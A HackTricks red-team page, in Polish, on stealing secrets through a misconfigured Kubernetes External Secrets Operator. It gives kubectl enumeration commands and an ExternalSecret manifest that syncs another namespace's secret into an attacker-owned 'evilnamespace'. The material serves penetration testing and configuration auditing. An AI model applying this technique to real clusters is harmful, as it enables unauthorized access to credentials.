External Secret Operator

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

The original author of this page is Fares

Ta strona zawiera wskazówki dotyczące tego, jak możesz ukraść sekrety z źle skonfigurowanego ESO lub aplikacji, która używa ESO do synchronizacji swoich sekretów.

Disclaimer

Technika pokazana poniżej może działać tylko wtedy, gdy spełnione są określone warunki. Na przykład, zależy to od wymagań potrzebnych do umożliwienia synchronizacji sekretu w przestrzeni nazw, którą posiadasz / skompromitowałeś. Musisz to ustalić samodzielnie.

Prerequisites

  1. Punkt zaczepienia w klastrze kubernetes / openshift z uprawnieniami administratora w przestrzeni nazw
  2. Dostęp do odczytu przynajmniej do ExternalSecret na poziomie klastra
  3. Ustal, czy są wymagane jakiekolwiek etykiety / adnotacje lub członkostwo w grupie, które pozwalają ESO na synchronizację twojego sekretu. Jeśli masz szczęście, możesz swobodnie ukraść dowolny zdefiniowany sekret.

Gathering information about existing ClusterSecretStore

Zakładając, że masz użytkownika, który ma wystarczające uprawnienia do odczytu tego zasobu; zacznij od wymienienia istniejących ClusterSecretStores.

kubectl get ClusterSecretStore

Enumeracja ExternalSecret

Załóżmy, że znalazłeś ClusterSecretStore o nazwie mystore. Kontynuuj, enumerując jego powiązany externalsecret.

kubectl get externalsecret -A | grep mystore

Ten zasób jest ograniczony do przestrzeni nazw, więc jeśli nie wiesz, której przestrzeni nazw szukać, dodaj opcję -A, aby przeszukać wszystkie przestrzenie nazw.

Powinieneś otrzymać listę zdefiniowanych externalsecret. Załóżmy, że znalazłeś obiekt externalsecret o nazwie mysecret, zdefiniowany i używany przez przestrzeń nazw mynamespace. Zbierz trochę więcej informacji na temat tego, jakiego rodzaju sekret przechowuje.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Assembling the pieces

Z tego miejsca możesz uzyskać nazwę jednego lub wielu sekretów (tak jak zdefiniowano w zasobie Secret). Otrzymasz wynik podobny do:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Jak dotąd mamy:

  • Nazwa ClusterSecretStore
  • Nazwa ExternalSecret
  • Nazwa sekretu

Teraz, gdy mamy wszystko, czego potrzebujemy, możesz stworzyć ExternalSecret (a w razie potrzeby zaktualizować/stworzyć nową Namespace, aby spełnić wymagania potrzebne do synchronizacji nowego sekretu):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Po kilku minutach, jeśli warunki synchronizacji zostały spełnione, powinieneś być w stanie zobaczyć wyciekły sekret w swoim przestrzeni nazw.

kubectl get secret leaked_secret -o yaml

Odniesienia

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets. \xc2\xb7 GitHub

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks